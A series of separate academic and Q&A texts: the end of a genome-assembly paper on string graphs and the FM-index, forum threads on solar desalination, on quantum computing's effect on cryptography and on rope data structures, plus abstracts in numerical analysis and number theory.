findOverlaps. The interval set found by findIntervals is processed by extractIrreducible to find the intervals corresponding to the irreducible edges of X. This algorithm has two parts. First, the set of intervals is tested to see if some read in the interval set is right terminal. If so, the intervals corresponding to the right terminal reads form irreducible edges with X and are returned. If no interval has terminated, we create a subset of intervals for each right extension of ℐ and recursively call extractIrreducible on each subset. The algorithm above assumes that there are no reads that are strict substrings of other reads (in other words, all the containments are between identical reads). If this is not the case, a slight modification must be made. If the set of reads overlapping X includes a read that is a proper substring of some other read it is possible that the first right terminal extension found is not that of an irreducible edge but of the contained read. It is straightforward to handle this case by observing that such a read will have an overlap which is strictly shorter than that of the irreducible edge. In other words, the only acceptable right terminal extension is to the reads in ℐ that have the longest overlap with X. We can similarly modify extractIrreducible to handle overlaps for reads from opposite strands. To do this, we use findIntervals to determine the intervals for overlaps for the same strand as X and overlaps from the opposite strand of X (using the complement of X as in the previous section). When extending an interval that was found by the complement of X, we extend it by the complement of a. In other words, if we are extending same-strand intervals by A, we extend opposite strand intervals by T and so on. We now offer a sketch of the complexity of the irreducible overlap algorithm. Let Li be the label of irreducible edge i. During the construction of Li at most ki intervals must be updated, corresponding to the number of reads that have an edge-label containing Li. The sum over all irreducible edges, E=∑i(|Li|ki), is the total number of interval updates performed by extractIrreducible. Note that each read in ℛ is represented by a path through the string graph. The total number of times edge i is used in the set of paths spelling all the reads in ℛ is ki and the amount of sequence in ℛ contributed by edge i is |Li|ki. This implies E can be no larger than N, the total amount of sequence in ℛ, and extractIrreducible is O(N). As findIntervals is also O(N), the entire irreducible overlap detection algorithm is O(N). ## 4 RESULTS As a proof of concept, we implemented the above algorithms. The program is broken into three stages: index, overlap and assemble. The index stage constructs the suffix array and FM-index for a set of sequence reads, the overlap stage computes the set of overlaps between the reads and the assemble stage builds the string graph, performs transitive reduction if necessary, then compacts unambiguous paths in the graph and writes out a set of contigs. We tested the performance of the algorithms with two sets of simulations. In both sets of simulations, we compared the exhaustive overlap algorithm (which constructs the set of all overlaps) and the direct construction algorithm (which only outputs overlaps for irreducible edges). First, we simulated Escherichia coli read data with mean sequence depth from 5 × to 100 × to investigate the computational complexity of the overlap algorithms as a function of depth. After constructing the index for each dataset, we ran the overlap step in exhaustive and direct mode with τ = 27. The running times of these simulations are shown in Figure 2. As expected, the direct overlap algorithm scales linearly with sequence depth. The exhaustive overlap algorithm exhibits the expected above-linear scaling as the number of overlaps for a given read grows quadratically with sequence depth. Fig. 2. The running time of the direct and exhaustive overlap algorithms for simulated E. coli data with sequence depth from 5× to 100×. The direct overlap algorithm scales linearly with sequence depth. As the number of overlaps grows quadratically with sequence depth, the exhaustive overlap algorithm exhibits above-linear scaling. Fig. 2. The running time of the direct and exhaustive overlap algorithms for simulated E. coli data with sequence depth from 5× to 100×. The direct overlap algorithm scales linearly with sequence depth. As the number of overlaps grows quadratically with sequence depth, the exhaustive overlap algorithm exhibits above-linear scaling. To assess the quality of the resulting assembly, we assembled the data using the direct overlap algorithm and compared the contigs to the reference. For each level of coverage, we selected τ to maximize the assembly N50 value. The N50 values ranged from 1.7 kbp (5 × data, τ = 17) to 80 kbp (100 × data, τ = 85). We aligned the contigs to the reference genome with bwa-sw (Li and Durbin, 2010) and found that no contigs were misassembled. We also simulated data from human chromosomes 22, 15, 7 and 2 to assess how the algorithms scale with the size of the genome. We pre-processed the chromosome sequences to remove sequence gaps then generated 100 bp error-free reads randomly at an average coverage of 20× for each chromosome. The results of the simulations are summarized in Table 1. The running time of the exhaustive and direct overlap algorithms are comparable. As the sequence depth is fixed at 20×, both overlap algorithms scale linearly with the size of the input data. The final stage of the algorithm, building the string graph and constructing contigs, is much shorter for the direct algorithm as the transitive reduction step does not need to be performed. In addition, this step requires considerably less memory as the initial graph constructed by the direct algorithm only contains irreducible edges. Table 1. Simulation results for human chromosomes 22, 15, 7 and 2 chr 22 chr 15 chr 7 chr 2 ratio Chr. size (Mb) 34.9 81.7 155.4 238.2 6.8 Number of reads (M) 7.0 16.3 31.1 47.6 6.8 Contained reads (k) 684 1668 3103 4709 6.9 Contained (%) 9.8 10.2 10.0 9.9 – Transitive edges (M) 38.0 93.0 177.7 274.6 7.2 Irreducible edges (M) 6.3 14.9 28.7 44.4 7.0 Assembly N50 (kbp) 4.0 4.6 4.2 4.7 – Longest contig (kbp) 31.9 47.7 53.1 48.6 – Index time (s) 2606 9743 19 779 30 866 11.8 Overlap -e time (s) 2657 6572 12 970 18 060 6.8 Overlap -d time (s) 2885 6750 13 271 19 437 6.7 Assemble -e time (s) 1836 4043 8112 13 095 7.1 Assemble -d time (s) 423 1161 2044 3226 7.6 Index memory (GB) 8.0 18.6 35.4 54.5 6.8 Overlap -e mem. (GB) 2.4 5.5 10.5 16.1 6.7 Overlap -d mem. (GB) 2.4 5.5 10.4 16.1 6.7 Assemble -e mem. (GB) 5.9 14.2 27.2 41.9 7.1 Assemble -d mem. (GB) 2.7 6.3 12.1 18.6 6.9 chr 22 chr 15 chr 7 chr 2 ratio Chr. size (Mb) 34.9 81.7 155.4 238.2 6.8 Number of reads (M) 7.0 16.3 31.1 47.6 6.8 Contained reads (k) 684 1668 3103 4709 6.9 Contained (%) 9.8 10.2 10.0 9.9 – Transitive edges (M) 38.0 93.0 177.7 274.6 7.2 Irreducible edges (M) 6.3 14.9 28.7 44.4 7.0 Assembly N50 (kbp) 4.0 4.6 4.2 4.7 – Longest contig (kbp) 31.9 47.7 53.1 48.6 – Index time (s) 2606 9743 19 779 30 866 11.8 Overlap -e time (s) 2657 6572 12 970 18 060 6.8 Overlap -d time (s) 2885 6750 13 271 19 437 6.7 Assemble -e time (s) 1836 4043 8112 13 095 7.1 Assemble -d time (s) 423 1161 2044 3226 7.6 Index memory (GB) 8.0 18.6 35.4 54.5 6.8 Overlap -e mem. (GB) 2.4 5.5 10.5 16.1 6.7 Overlap -d mem. (GB) 2.4 5.5 10.4 16.1 6.7 Assemble -e mem. (GB) 5.9 14.2 27.2 41.9 7.1 Assemble -d mem. (GB) 2.7 6.3 12.1 18.6 6.9 For the overlap and assemble rows, -e and -d indicate the exhaustive and direct algorithms, respectively. The last column is the ratio between chromosome 2 and 22. The bottleneck in terms of both computation time and memory usage is the indexing step, which builds the suffix array and FM-index for the entire read set. This required 8.5 h and ∼55 GB of memory for chromosome 2. Extrapolating to the size of the human genome indicates it would require ∼4.5 days and 700 GB of memory to index 20× sequence data. While the computational time is tractable, the amount of memory required is not practical for the routine assembly of human genomes. We address ways to reduce the computational requirements in Section 5. ## 5 DISCUSSION We have described an efficient method of constructing a string graph from a set of sequence reads using the FM-index. This work is the first step in the construction of a new, general purpose sequence assembler that will be effective for both short reads of the current generation of sequence technology and the longer reads of the sequencing instruments on the horizon. Unlike the de Bruijn graph formulation, the string graph is particularly well-suited for the assembly of mixed length read data. While the primary algorithms are in place, a considerable amount of work remains. Most pressing is the issue of adapting the assembler to handle real sequence data that contains base-calling errors. This amounts to adapting the algorithms to handle inexact overlaps. The BWA, Bowtie and SOAP2 aligners implement a number of strategies and heuristics for dealing with base mismatches and small insertion/deletions (Langmead et al., 2009; Li and Durbin, 2009; Li et al., 2009). These strategies directly translate to finding overlaps. Let ϵ be the maximum allowed difference between two overlapping reads. When performing the backwards search to find overlaps, we can allow the search to proceed to mismatched bases or gaps while ensuring that the ϵ bound is respected. We can similarly modify the irreducible overlap detection algorithm by allowing the right-extension phase to extend to mismatch bases or gaps. Here, we would only consider an interval to be transitive with respect to one of the irreducible intervals if the inferred difference between the intervals is less than ϵ. Our intention is to build an assembler that can handle genomes up to several gigabases in size, such as for human or other vertebrate genomes and our initial results indicate that our algorithms scale well. The introduction of sequencing errors will increase the complexity of the irreducible overlap identification step but this step is straightforward to parallelize if necessary because it is carried out for each non-contained read. The construction of the suffix array is currently the computational bottleneck; however, there are a number of established ways to improve this. We can lower the amount of memory required by exploiting the redundancy present in a set of sequencing reads by using a compressed index. The compressed suffix array is one such index and a method was recently developed to merge two compressed suffix arrays that possibly allows a distributed construction algorithm (Sirén, 2009). Additionally, efficient external memory (disk-based) BWT construction algorithms have been developed that allow the construction of the FM-index for very large datasets while using a limited amount of main memory (Dementiev et al., 2008; Ferragina et al., 2010). It is worth investigating the equivalency of the de Bruijn graph and string graph formulations (Pop, 2009). This has been studied in terms of the computational complexity of reconstructing the complete sequence of the genome and both formulations have been shown to be NP-hard (Medvedev et al., 2007). We would like to know the equivalence in terms of the information contained in the graph. Consider the case where all sequence reads are of length l and every l-mer in the genome has been sampled once. In this case, the de Bruijn graph and string graph constructions (using parameters k = l − 1 and τ = l − 1 respectively) are equivalent. In the realistic case where the genome is unevenly sampled, the relationship is not clear. In the original paper on the EULER assembler Pevzner presents an algorithm to recover the information lost during the deconstruction of reads into k-mers by finding consistent read-paths through the k-mer graph (Pevzner et al., 2001). It is conceivable that if this procedure is able to perfectly reconstruct the information lost the resulting graph would be equivalent to Myers' string graph. This is not clear, however, and the equivalency of these formulations is a question we would like to address. ## ACKNOWLEDGEMENTS We thank Veli Mäkinen and members of the Durbin group for discussions related to string matching and sequence assembly. Funding: This work was supported by the Wellcome Trust (grant number WT077192). J.T.S. is supported by a Wellcome Trust Sanger Institute Research Studentship. Conflict of interest: none declared. ## REFERENCES Bentley JL Sedgewick R Fast algorithms for sorting and searching strings SODA '97: Proceedings of the Eighth Annual ACM-SIAM Symposium on Discrete Algorithms. , 1997 Society for Industrial and Applied Mathematics (pg. 360 - 369 ) Burrows M Wheeler DJ A block-sorting lossless data compression algorithm Technical report 124 , 1994 Palo Alto, CA Digital Equipment Corporation Chaisson MJ Pevzner PA Short read fragment assembly of bacterial genomes Genome Res. , 2008 , vol. 18 (pg. 324 - 330 ) Dementiev R , et al.  . Better external memory suffix array construction J. Exp. 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Abyss: a parallel assembler for short read sequence data Genome Res. , 2009 , vol. 19 (pg. 1117 - 1123 ) Sirén J Compressed suffix arrays for massive data String Processing and Information Retrieval , 2009 (pg. 63 - 74 ) Zerbino DR Birney E Velvet: algorithms for de novo short read assembly using de bruijn graphs Genome Res. , 2008 , vol. 18 (pg. 821 - 829 ) This is an Open Access article distributed under the terms of the Creative Commons Attribution Non-Commercial License (http://creativecommons.org/licenses/by-nc/2.5), which permits unrestricted non-commercial use, distribution, and reproduction in any medium, provided the original work is properly cited.
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http://www.physicsforums.com/showthread.php?s=93733a5636aa491822896e4d0ebfe8c0&p=4790416
# How high can you push water vapor from solarthermal desalination? P: 15 Hi all, Yet another noob question from me... I been thinking of Solarthermal desalination plant lately but i'm surprised that no plan seems to take into account the possibility of letting the vapor rise to a much higher level, thus creating a potential energy source. Is there something obvious i am missing? Assuming that the ground is conveniently shaped and some thermally apropriate tubing, couldn't you allow this vapor to rise to a significant altitude? Thank you. Homework HW Helper Thanks P: 13,052 ... letting the vapor rise to a much higher level, thus creating a potential energy source. ... Is there something obvious i am missing? Law of conservation of energy I suspect. Note PE is not, strictly speaking, an energy source. couldn't you allow this vapor to rise to a significant altitude? You could - but why would you want to? The process costs more energy than would be gained in gravitational potential energy. Instead we use the Sun to lift our water vapor to great heights, and it comes down again in rivers which we can use to turn a water-wheel, thus claiming some of the energy. P: 15 Quote by Simon Bridge Note PE is not, strictly speaking, an energy source. I don't know what "PE" is...did i mention i'm a noob? Quote by Simon Bridge You could - but why would you want to? The process costs more energy than would be gained in gravitational potential energy. I was talking about Solarthermal desalination so, i already have vapor,what other energy source do i require? the set up implies that the "tubing" itself is also being heated by the sun so there shouldn't be that much loss of steam... Quote by Simon Bridge Instead we use the Sun to lift our water vapor to great heights, and it comes down again in rivers which we can use to turn a water-wheel, thus claiming some of the energy. That may be true where you are but i can think of "a few" comunities that would very much like to see those rivers you speak of...That is the whole point to recreate this very phenomenon if only on a very modest scale. Sci Advisor Thanks P: 1,949 How high can you push water vapor from solarthermal desalination? It may be counter intuitive but “wet air rises”. The molecular weight of H2O=18, and is much less than N2=28 and O2=32 The density of water vapour is therefore less than air at the same temperature and pressure. Water vapour will rise even without heat. P.S. PE is potential energy. P: 15 Well, i was concerned if the "tubing" (i need a better word) is cold then the vapor will turn back to water and fall before it reaches the desired height thus the need for a material that either doesn't allow heat to escape or allows solar heat to compensate the loss in temperature... Homework Sci Advisor HW Helper Thanks P: 13,052 Piping wet air from place to place does result in condensation along the pipe - before working to solve the engineering problems this produces, first answer this: what do you hope to gain by this approach to getting water-vapour to a high place? Is this an art project? Or do you hope to condense the water and let it flow back down another pipe, to drive some sort of generator or water-wheel? The former is one thing, but the latter has the same problems as you earlier question about hydrogen: http://www.physicsforums.com/showthread.php?t=708786 Mentor P: 41,276 Quote by willdo Hi all, Yet another noob question from me... I been thinking of Solarthermal desalination plant lately but i'm surprised that no plan seems to take into account the possibility of letting the vapor rise to a much higher level, thus creating a potential energy source. Is there something obvious i am missing? Assuming that the ground is conveniently shaped and some thermally apropriate tubing, couldn't you allow this vapor to rise to a significant altitude? Thank you. Quote by Simon Bridge Piping wet air from place to place does result in condensation along the pipe - before working to solve the engineering problems this produces, first answer this: what do you hope to gain by this approach to getting water-vapour to a high place? Is this an art project? Or do you hope to condense the water and let it flow back down another pipe, to drive some sort of generator or water-wheel? The former is one thing, but the latter has the same problems as you earlier question about hydrogen: http://www.physicsforums.com/showthread.php?t=708786 The problem is one of energy density, I would think. You would need a very large area for evaporation, which is what nature does with evaporation, clouds, rain, etc. There are more efficient ways to extract energy from insolation. Thanks P: 1,949 Quote by willdo … Is there something obvious i am missing? Assuming that the ground is conveniently shaped and some thermally apropriate tubing, couldn't you allow this vapor to rise to a significant altitude? The problem is that water vapour is buoyant, so it has greater potential energy at the bottom. @willdo. How high exactly were you considering raising the air saturated with water vapour. What benefits do you expect to gain by doing that? If we assume you want primarily to generate fresh water from saline, then you will need a “hothouse” and a source of energy to evaporate water from the saline. You then allow the warm saturated air to flow from the top of the hothouse. To condense water from that air you must cool the air and then remove the latent heat energy originally invested to vaporise the water. Relatively warm wet air rises, so you may benefit if you can condense the water at a greater altitude than the hothouse. If you arrange the saturated air to rise diagonally to a pipe that runs buried? up a cool hillside, then as the airflow cools and water condenses the liquid will trickle back down that pipe. Water would be extracted from a collection sump at the bottom of the pipe. That density / thermal system would continue to run so long as the temperature of the saturated air flow reaching the top of the chimney was higher than the local air temperature. That requirement is a limitation on the length of the pipe. The top of the cooling pipe would be an open chimney. If that chimney was heated, then the pipe might draw more efficiently and so the system would yield more water, but once heated, no additional water could be condensed from the air in the chimney as it is no longer saturated. Unfortunately, the exhaust air from the system after condensation will still contain water vapour. The efficiency of the system can be improved by releasing air at the lowest possible temperature and pressure. You do not benefit by adding heat as the air rises, that just requires you go higher before condensation. I expect you are better taking the fresh water wherever you can get it. Putting this all together, you get saline water flowing slowly through a hothouse, with a diagonal riser to take the warm air to a hill. A buried pipe then runs up the hill cooling and condensing water from the airflow, to be vented from a solar heated chimney. Liquid water trickles back down the same pipe for collection at the bottom. There would be insufficient flow to recover energy from the system because all available energy is used to drive the flow through the system. There is no benefit from this system other than the production of valuable drinking water. P: 15 Quote by Simon Bridge Piping wet air from place to place does result in condensation along the pipe - before working to solve the engineering problems this produces, first answer this: what do you hope to gain by this approach to getting water-vapour to a high place? Is this an art project? Or do you hope to condense the water and let it flow back down another pipe, to drive some sort of generator or water-wheel? The former is one thing, but the latter has the same problems as you earlier question about hydrogen: http://www.physicsforums.com/showthread.php?t=708786 Originally, i was hoping to let the newly-fresh water obtained from Solarthermal desalination in the form of vapor rise naturally from sea level to a nearby cliff where it would be allowed to condense and then use this higher position to distribute this water to the surrounding area without any artificial pumping. @Berkeman Indeed, i was looking at an abandoned salt production site with 1.1ha (2.75 acres) of bassins @Baluncore, I suspect you mean that this project is much more efficient:http://aboosh.wordpress.com/tag/water-desalination/ (this is not mine and i do not know the author) and it probably is but my point is to have a very simple process without engines or pumps and thus, minimal maintenance and no hard-to-get carburant. With this, i found out today that evaporation is not sufficient to turn seawater into drinkable water so the whole idea seems fruitless for now, althought i do wonder if it's good enough for agriculture... Thanks P: 1,949 Quote by willdo … but my point is to have a very simple process without engines or pumps and thus, minimal maintenance and no hard-to-get carburant. My suggested system is entirely solar powered. It requires no motors, fuel or pumps. One problem with sea water is the presence of dissolved compounds such as DMS that we can smell in very small quantities. If you pre-heat and vent the water before capturing water vapour you may eliminate those compounds. Also consider putting the condensate through a charcoal filter. Homework HW Helper Thanks P: 13,052 i was hoping to let the newly-fresh water obtained from Solarthermal desalination in the form of vapor rise naturally from sea level to a nearby cliff where it would be allowed to condense and then use this higher position to distribute this water to the surrounding area without any artificial pumping Seems to be replacing maintenance of pumps etc with maintenance of the moist-air pipes ... remembering what likes to grow in warm-damp spaces. Still, that appears technically possible ... nice save ;) P: 15 Quote by Baluncore My suggested system is entirely solar powered. It requires no motors, fuel or pumps. One problem with sea water is the presence of dissolved compounds such as DMS that we can smell in very small quantities. If you pre-heat and vent the water before capturing water vapour you may eliminate those compounds. Also consider putting the condensate through a charcoal filter. 1/In your suggested system, unless i am mistaken (a clear possibility) you collect the condensed water back at the level where you started and that goes against my aim because i would then need some form of energy to move it. 2/DMS in particular shouldn't prove to be too much of an issue since it evaporates at 37°c, a "pre-heating" bassin sounds like a feasable solution.i'm now taking some informations as to the requirements for water to be "drinkable" strangely enough it seems i'd need to add 1%...sea water...shouldn't too hard to find... @Simon Bridge, Yep i didn't think of "what likes to grow in warm damp places" i'll look for a solution to that as well... Related Discussions General Physics 2 Classical Physics 0 General Physics 2 Biology, Chemistry & Other Homework 1 Chemistry 7
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https://hal-ensta.archives-ouvertes.fr/hal-00976057
# Improved Successive Constraint Method Based A Posteriori Error Estimate for Reduced Basis Approximation of 2D Maxwell’s Problem 1 POEMS - Propagation des Ondes : Étude Mathématique et Simulation Inria Saclay - Ile de France, UMA - Unité de Mathématiques Appliquées, CNRS - Centre National de la Recherche Scientifique : UMR7231 Abstract : In a posteriori error analysis of reduced basis approximations to affinely parametrized partial differential equations, the construction of lower bounds for the coercivity and inf-sup stability constants is essential. In [7], the authors presented an efficient method, compatible with an off-line/on-line strategy, where the on-line computation is reduced to minimizing a linear functional under a few linear constraints. These constraints depend on nested sets of parameters obtained iteratively using a greedy algorithm. We improve here this method so that it becomes more efficient due to a nice property, namely, that the computed lower bound is monotonically increasing with respect to the size of the nested sets. This improved evaluation of the inf-sup constant is then used to consider a reduced basis approximation of a parameter dependent electromagnetic cavity problem both for the greedy construction of the elements of the basis and the subsequent validation of the reduced basis approximation. The problem we consider has resonance features for some choices of the parameters that are well captured by the methodology. Type de document : Article dans une revue ESAIM: Mathematical Modelling and Numerical Analysis, EDP Sciences, 2009, 43 (6), pp.1099--1116 https://hal-ensta.archives-ouvertes.fr/hal-00976057 Contributeur : Aurélien Arnoux <> Soumis le : mercredi 9 avril 2014 - 15:33:04 Dernière modification le : jeudi 11 janvier 2018 - 06:20:23 ### Identifiants • HAL Id : hal-00976057, version 1 ### Citation Yanlai Chen, Jan Sickmann Hesthaven, Yvon Maday, Jerónimo Rodríguez. Improved Successive Constraint Method Based A Posteriori Error Estimate for Reduced Basis Approximation of 2D Maxwell’s Problem. ESAIM: Mathematical Modelling and Numerical Analysis, EDP Sciences, 2009, 43 (6), pp.1099--1116. 〈hal-00976057〉 ### Métriques Consultations de la notice
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http://cms.math.ca/cmb/kw/abelian%20surface
location:  Publications → journals Search results Search: All articles in the CMB digital archive with keyword abelian surface Expand all        Collapse all Results 1 - 2 of 2 1. CMB 2015 (vol 58 pp. 673) Achter, Jeffrey; Williams, Cassandra Local Heuristics and an Exact Formula for Abelian Surfaces Over Finite Fields Consider a quartic $q$-Weil polynomial $f$. Motivated by equidistribution considerations, we define, for each prime $\ell$, a local factor that measures the relative frequency with which $f\bmod \ell$ occurs as the characteristic polynomial of a symplectic similitude over $\mathbb{F}_\ell$. For a certain class of polynomials, we show that the resulting infinite product calculates the number of principally polarized abelian surfaces over $\mathbb{F}_q$ with Weil polynomial $f$. Keywords:abelian surfaces, finite fields, random matricesCategory:14K02 2. CMB 2004 (vol 47 pp. 398) McKinnon, David A Reduction of the Batyrev-Manin Conjecture for Kummer Surfaces Let $V$ be a $K3$ surface defined over a number field $k$. The Batyrev-Manin conjecture for $V$ states that for every nonempty open subset $U$ of $V$, there exists a finite set $Z_U$ of accumulating rational curves such that the density of rational points on $U-Z_U$ is strictly less than the density of rational points on $Z_U$. Thus, the set of rational points of $V$ conjecturally admits a stratification corresponding to the sets $Z_U$ for successively smaller sets $U$. In this paper, in the case that $V$ is a Kummer surface, we prove that the Batyrev-Manin conjecture for $V$ can be reduced to the Batyrev-Manin conjecture for $V$ modulo the endomorphisms of $V$ induced by multiplication by $m$ on the associated abelian surface $A$. As an application, we use this to show that given some restrictions on $A$, the set of rational points of $V$ which lie on rational curves whose preimages have geometric genus 2 admits a stratification of Keywords:rational points, Batyrev-Manin conjecture, Kummer, surface, rational curve, abelian surface, heightCategories:11G35, 14G05 top of page | contact us | privacy | site map |
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http://crypto.stackexchange.com/questions/3699/how-will-cryptography-be-changed-by-quantum-computing?answertab=active
# How will Cryptography be changed by Quantum Computing? I realise this isn't a 'yes or no' question, and I apologise for asking something that could be seen as a discussion thread, but I had to ask. I'm currently doing an EPQ in CS (specifically how QC will change Cryptography). I'm trying to gather up topics to cover, and so far I've scribbled down - Effects - 1. National security, classical cryptographic methods (RSA, DSA, AES-256). Including Shor's algorithm. 2. Communications 3. Online services, e.g. BitCoin. How would we counter this (not sure how better to phrase this) - 1. Lattice-based 2. Multivariate 3. Hash-based signatures 4. Code-based cryptography Is there anything else you'd recommend me including (as well as the above), or anything in the above you don't think I should include? Honestly, the list above is a rough, first draft the main bulk of it... so don't it as gospel. Best regards, Cameron. - Search "Post quantum cryptography" for useful material. Also, IMHO, "Will Quantum Computing catch up with Classic, and when?" is a most interesting subject. –  fgrieu Sep 2 '12 at 14:00 That's certainly a very interesting subject matter. What would that involve do you think? Mainly covering the history, and where I think the advancements will end up or something else entirely? In addition, do you not think the first one regarding quantum computing is more focused? –  Cameron Allan Sep 2 '12 at 14:09 if I knew how to meaningfully explore "Will Quantum Computing catch up with Classic, and when?", I would be doing that! Indeed, that seems even harder and less focused than what you are tackling; but more down-to-earth, too. –  fgrieu Sep 3 '12 at 7:03 One of the closest thing to a QC seems to be this –  fgrieu Sep 3 '12 at 12:50 This survey paper is quite a good read on this topic. –  jayann Dec 30 '14 at 9:46 Current symmetric cryptography and hashes are actually believed to be reasonably secure against quantum computing. Quantum computers solve some problems much faster than the best known classical algorithms, but the best known quantum attack against AES is effectively "try all the keys." In a quantum computer, the time taken to solve a general search problem (such as "find the AES key that gives a reasonable message") scales slower than for a classical computer; this would effectively turn an n-bit key into an n/2-bit key. Fortunately, that would leave AES-256 with an effectively 128-bit key against a quantum attacker, which is still believed unfeasible to crack. Similar considerations apply to hashes. You'd want to increase key lengths and the like, but you could fairly reasonably do that. The main issue is actually asymmetric cryptography. Unlike symmetric crypto and hashes, asymmetric algorithms have extreme levels of mathematical structure -- they're based on the difficulty of a single hard problem. The two main problems used for this can be solved extremely quickly on a quantum computer; if you tried to increase key lengths to make it take a long time there, it'd take an infeasibly long amount of time for the legitimate user on a classical computer to use the long keys. However, this is something of a historical accident: there's no reason asymmetric crypto has to be easily breakable by a quantum computer, it's just that the most commonly used ones happen to be easily breakable by one. Others may not be; post-quantum cryptography is an active research area, and people are working on algorithms that rely on problems not believed to be efficiently solvable by quantum computers. - You claim that asymmetric cryptography is especially prone to attacks; doesn't this mean that symmetric key negotiation/exchange will be prone since it uses asymmetric cryptography? It still seems that if you're not using a PSK, you're at risk for attacks. –  Clay Freeman Dec 30 '14 at 8:58 @ClayFreeman Correct. The primary usage of asymmetric crypto is in fact to encrypt a key for symmetric crypto; however, people are working on asymmetric algorithms to resist quantum computers, and other common applications of crypto (e.g. disk encryption) do use a PSK. –  cpast Dec 30 '14 at 9:01 @ClayFreeman The problem is not really that asymmetric encryption is inherently weak against quantum computers. However, the asymmetric schemes that are the most popular and widely used are weak to quantum attacks (e.g., RSA). There are a number of known asymmetric encryption schemes that are believed to not be weak against quantum computers. In particular lattice based encryption schemes based on the LWE problem are getting a lot of attention in the theoretical cryptography world. –  Guut Boy Dec 30 '14 at 12:24 in summary : • for "symmetric" ciphers a 256bit key is fine for QC. attention AES-256 doesn't mean AES with 256 bit blocks ! its about key. AES-256 block size is less secure than AES-128 bit blocks (refer to wikipedia) • for "asymmetric" ciphers its not ready yet , all current ciphers have their problems (some have security problem some have implantation problem ) and we need some time and attention to fix - AES with 256 bit blocks does not exist. AES is the standardized form of Rijndael with 128 bit block size. –  Maarten Bodewes Jan 3 '13 at 20:53 Actually, I'm not sure 128 bit blocks would be sufficient if QC's became a reality, I'm not sure if generic distinguishers are affected by Grover's algorithm but it could be something to keep in mind. That said, increasing block and key size is an easy process, coming up with a secure asymmetric algorithm is not. –  Thomas Jan 4 '13 at 5:35 @Thomas QC is reality but what do you mean 128 bit blocks not secure for QC ? i thought Grover is to find key 2x faster , the protocol effected too ?? –  mary Jan 4 '13 at 8:35 @mary They are hardly a practical reality, we don't know if it's physically possible to build a sufficiently large quantum computer. But in any case, a small block size allows you to distinguish the output of a block cipher from a random stream, which is a weakness - I suspect Grover's algorithm would also speed up this type of attack, requiring you to increase the block size accordingly as well. –  Thomas Jan 4 '13 at 8:50 AES is a variant of Rijndael which has a fixed block size of 128 bits and a key size of 128, 192, or 256 bits. Guess someone got confused by the naming. AES-256 means the key is 256 bits long, not the block... which still is made of 128 bits in that case. –  e-sushi Jul 30 '13 at 8:39 Grover's Algorithm would allow searching an unsorted database with N entries in $O(\sqrt{N})$ time rather than in the usual $O(N)$ time. For AES-256 it currently takes an average of $n/2$ guesses to break, i.e. $2^{255}$. However with quantum computing this can be done in $2^{128}$ time, which is very much faster. And on top of that that's only brute force for AES-256, with the cleverer attacks it can be broken faster still. $2^{128}$ is still sufficiently slow by a long way. However, AES-256 has a much larger keyspace then standards like DES(fastest classical attack: $2^{39}–2^{43}$, already pretty bad), 3DES or even the smaller keyspace AES-128. These would be broken or become much nearer to broken because of QC. So we'd probably find a move towards larger key-space standards like AES-256. Which is just what happens anyway with Moore's law (better computers) forcing us off DES already, so maybe QC isn't that groundbreaking. What you need to do is what we always do, which is to find the right balance between performance of our systems and the time to takes to break it, it's just that the balance will shift. -
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https://cs.stackexchange.com/questions/59874/zero-based-array-implementation-with-logarithmic-insertion-time/59875
# Zero-based array implementation with logarithmic insertion time Normal zero-based arrays (ie not those with a sort order) have constant lookup time, but linear insertion time. For a specific problem I was musing about a balanced tree that would allow for an zero-based array implementation with logarithmic time for all of the following operations: insertion, removal and finding the next and previous element. I'm reasonably sure it should be straight-forward to implement: The non-leaf nodes would have to store the count of elements in their left branch respectively. Such a data structure should be useful in text editors, as the user obviously can insert text anywhere in the document and yet the editor is supposed to render a screenfull of text around a given location quickly as well. My question: What's this data structure called? Is there a buzzword I can google? (Such as "B-tree", "red-black tree", etc. for key-ordered search trees?) • I'm confused. To me, "zero-based" just means "the index of the first element is zero rather than, say, one". And when you say that you want to implement an array as a tree, to me that's not implementing an array: it's implementing a tree, which is a completely different data structure. It's a bit like saying that you're going to implement a bicycle that has four wheels and an engine. Well, fine, but that's not a bicycle any more. – David Richerby Jun 21 '16 at 19:19 • I don't think the nomenclature is a precise as you claim it to be. Even dictionaries are sometimes called "arrays". I meant array as in "keyed by consecutive integers, designed for efficient lookup by index". – John Jun 21 '16 at 19:25 • What he said (@David) and the title is not only not the best one, but adresses the part of question. Also question is about data structure with given properties and the second one is about the best fitting structure for the text editor, which might be the same, but looking at the answers it isn't. – Evil Jun 21 '16 at 19:26 • @EvilJS Why? A rope has the properties I described. It's also a fitting buzzword, even though it's associated with characters. – John Jun 21 '16 at 19:28 • Mhm. Ok, it is very good that it helps. – Evil Jun 21 '16 at 19:31 All tree data structures that use pointers can be re-worked to use array indices as well, and that is probably your best bet. If you come across a design that uses NULL pointers, use the array index $-1$ to represent NULL. In general, the best kind of structure to look for (and to arrayify if that is what you want to do) is a rope, which is a stronger kind of string (see Wikipedia). Ropes are designed for exactly this purpose. • I remember having heard about ropes before now, thanks a bunch. – John Jun 21 '16 at 19:20 The simplest approach is this: Take any search tree data structure (be it AVL trees, Red-Black trees, even B-trees), and store in each node one additional piece of information: The "size" of the node, that is, the number of elements stored in the node and its children. It's trivial to find the nth element in a tree if you have that information. Since you're storing that information anyway, you may as well use some variant of weight-balanced trees, which have the nice property that the size information is precisely what they need to maintain their balance conditions. Two birds, one stone. Having said that, I think Martin is correct that something like ropes, gap buffers, or enfilades would be better if you were actually implementing a text editor, because that's what they're designed for. The structure that performs given operations in logarithmic time would be AVL tree or RB (red-black) tree with additional pointers for next and previous, which will be called augmented tree, more precisely doubly threaded. The choice between AVL and RB depends on dominating operations or size (if dominating operation is search or the size of data is hige then AVL is better). Left thread keeps inorder predecessor and right keeps inorder successor. The memory footprint will increase and insert operation will take more time, but prev/next will be constant time. Alternative that you may find is tempting - keeping you might keep root pointer from node and traversing up and then performing search, it decreases memory footprint but in return you have to compare with root everytime and for example access to roots predecessor is just search from root. About keeping element index in the sorted list count of elements i this will be Order statistic tree. • Just picking a nit here: The choice between AVL, Red-Black trees, or any other balanced tree implementation is interesting theoretically, but almost completely arbitrary from a practical point of view. When you actually measure the difference between them, it's sampling error. So the purpose of balancing a BST, it would seem, is to avoid pathological behaviour. – Pseudonym Jun 23 '16 at 22:39 • @Pseudonym well, I have tested such "nits" and I have encountered such behavior - for small data negligible, for bigger it makes a big difference. BTW besides the ropes we have quite similar answer. – Evil Jun 23 '16 at 23:37
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http://library.kiwix.org/matheducators.stackexchange.com_en_all_2018-03/A/tag/notation/1.html
